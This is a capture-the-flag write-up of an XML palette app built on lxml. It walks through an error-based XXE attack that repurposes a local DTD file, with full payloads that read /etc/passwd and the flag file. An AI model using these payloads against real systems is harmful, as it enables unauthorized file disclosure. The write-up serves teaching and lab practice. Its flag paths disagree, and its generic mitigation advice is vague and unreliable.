dojo

📜 Challenge Description

Description

With this application, you can now display your own hex color palettes and unleash your inner UX designer! Simply upload your own XML files to generate custom palettes. Can you find the flag?

  • ~ The flag can be found in /tmp/xml/flag.txt
  • ~ Note: To view the setup code for this challenge, click on settings (⚙ icon) located at the top over the tab: INFO.

🕵️ Proof of Concept

I. Source Code Analysis

General Analysis

import io
import re
from urllib.parse import unquote
from jinja2 import Environment, FileSystemLoader
lxml = __import__("lxml")
from lxml import etree


template = Environment(
    autoescape=True,
    loader=FileSystemLoader('./tmp/templates'),
).get_template('index.tpl')


def parse_palette(xml_data):
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    tree = etree.parse(io.StringIO(xml_data), parser)
    root = tree.getroot()
    colors = set()

    # Only parsing hex color
    for elem in root.iter():
        if elem.text and re.match(r"^#(?:[0-9a-fA-F]{3,6})$", elem.text.strip()):
            colors.add(elem.text.strip().lower())

    return list(colors)

def promptFromXML(s: str):
    if not s:
        return "No XML data received.", []

    return "Pallet successfully extracted", parse_palette(s)

data = unquote("")

try:
    parsed_text, colors = promptFromXML(data)
except Exception as e:
    parsed_text = f"Error : {str(e)}"
    colors = []

print(template.render(output=parsed_text, colors=colors, image=None))

The source is rather short, we understand that it takes user input in XML format. The code retrieves the values contained within the <root> XML elements and returns them. The regex is well designed and doesn’t seem easily bypassable. However, it is noticeable that no security measures have been implemented regarding the XML data sent, such as entity handling or similar protections.

Code analysis and analysis of our goal

The flag is contained in a file whose location we know, so we know that we will need to obtain either a file read or, ideally, code execution. Given that the main functionality of the code is to process XML data, and that there are no security measures regarding the format and the XML data being processed, we can easily deduce that we will need to exploit an XXE.

II. XXE exploitation

1) Error-Based

By sending a properly formatted XML payload such as :

<root>#32a852</root>

We notice that our data is correctly processed and that the color value is properly returned. What interests us now is whether the code can also process HTML entities, in order to perform malicious actions. This shouldn’t be an issue, given that the code processes the entirety of the provided XML data :

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test '#32a852'>]>
<root>&test;</root>

We can see that the code does indeed process XML entities.

If we think back to our objective, we know that we need to achieve at least a file read, and ideally, we would want visual feedback from our exploit. However, we can observe in the code that it only extracts the value contained within the <root> element and processes it, meaning we probably won’t get a direct visual return from our exploitation.

Just like with SQL injections, there are ways to obtain information leaks or direct visual feedback using Error-Based XXE. By sending a malformed payload, we can see that we do get a return of our errors :

2) Error Based - Using Local DTD File

With some research, we can identify a method using a local DTD file, which not only allows for file reading but also provides visual feedback. To be even more certain that we’re on the right track, we can notice in the challenge environment configuration that a DTD config file is set up specifically for the challenge :)

...
with open("xml/config.dtd", 'w') as f:
    f.write('''
<!ENTITY % dtd "<!ELEMENT config (#PCDATA)>">
%config_hex;
''')
...

Based on the following resources, we can begin constructing our attack :

3) XXE Exploitation

To understand how this exploitation is possible, I refer you to the PortSwigger course and lab, which clearly explain the concept and exploitability of this attack :
https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-by-repurposing-a-local-dtd

The objective here is to inject an XML entity defined in the source code’s DTD file. To achieve this, we can reuse and adapt the following payload :

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
    <!ENTITY % constant 'aaa)>
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
            <!ELEMENT aa (bb'>
    %local_dtd;
]>
<message>Text</message>

This payload is based on the exploitability of the file /usr/share/xml/fontconfig/fonts.dtd, which can be present by default on Linux distributions. Indeed, this file contains the constant entity, which is itself referenced within the same file :

...
<!ENTITY % constant 'int|double|string|matrix|bool|charset|langset|const'>

<!ELEMENT patelt (%constant;)*>
...

Note: If this file is present on your distribution, you can find these elements starting from line 148.

In this payload, the redefinition of the constant entity includes aaa)> ... <!ELEMENT aa (bb as a prefix and suffix to properly close the element <!ELEMENT patelt (%constant;)*> during the injection. In our current case, the DTD file contains:

<!ENTITY % dtd "<!ELEMENT config (#PCDATA)>">
%config_hex;

The file includes the injectable entity %config_hex;, which is referenced as-is, meaning we don’t need to use any prefix or suffix to close an XML element. Next, we add the path to the config.dtd file to specify where we’re going to inject our payload via the %config_hex; entity. By analyzing the source code, we find that the file is located at /tmp/xml/config.dtd. Thus, our payload becomes:

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
    <!ENTITY % config_hex '
            <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
            '>
    %local_dtd;
]>

And if we send this payload, we get :

Note:

  • Be careful not to send valid XML data along with this payload, such as <message>Text</message> or <root>#32a852</root>, because the code will process the valid input and won’t trigger the error we rely on to exploit this vulnerability.
  • Also, in our case, make sure to properly encode the characters % and ' as HTML entities, otherwise the XML parser will throw an error, since these characters are not allowed within the definition of an XML entity.

Finally, we just need to replace /etc/passwd with the file we want to read — in this case, the flag located at /tmp/flag.txt :

<!DOCTYPE message [
    <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
    <!ENTITY % config_hex '
            <!ENTITY &#x25; file SYSTEM "file:///tmp/flag.txt">
            <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///patt/&#x25;file;&#x27;>">
            &#x25;eval;
            &#x25;error;
            '>
    %local_dtd;
]>

And here is the flag : FLAG{3rr0r_B4s3d_XX3_w1th_Sw4G}

🚧 Impacts

XXE attacks can be used to access sensitive information from the application or the server it’s running on. For example, an attacker could use an XXE attack to read sensitive files from the file system, send HTTP requests to other servers, or even execute commands on the server.

🔐 Mitigations

XXE vulnerabilities can occur when an application processes XML input without properly validating or sanitizing it. This can allow an attacker to inject malicious code into the XML input, which is then executed by the application.

To prevent XXE attacks, it is essential to properly validate and sanitize all XML inputs to ensure they do not contain malicious code. This can be achieved using techniques such as input validation, input sanitization, and whitelisting. Additionally, it’s important to keep the application and its dependencies up to date to ensure all known vulnerabilities are patched.

📚 References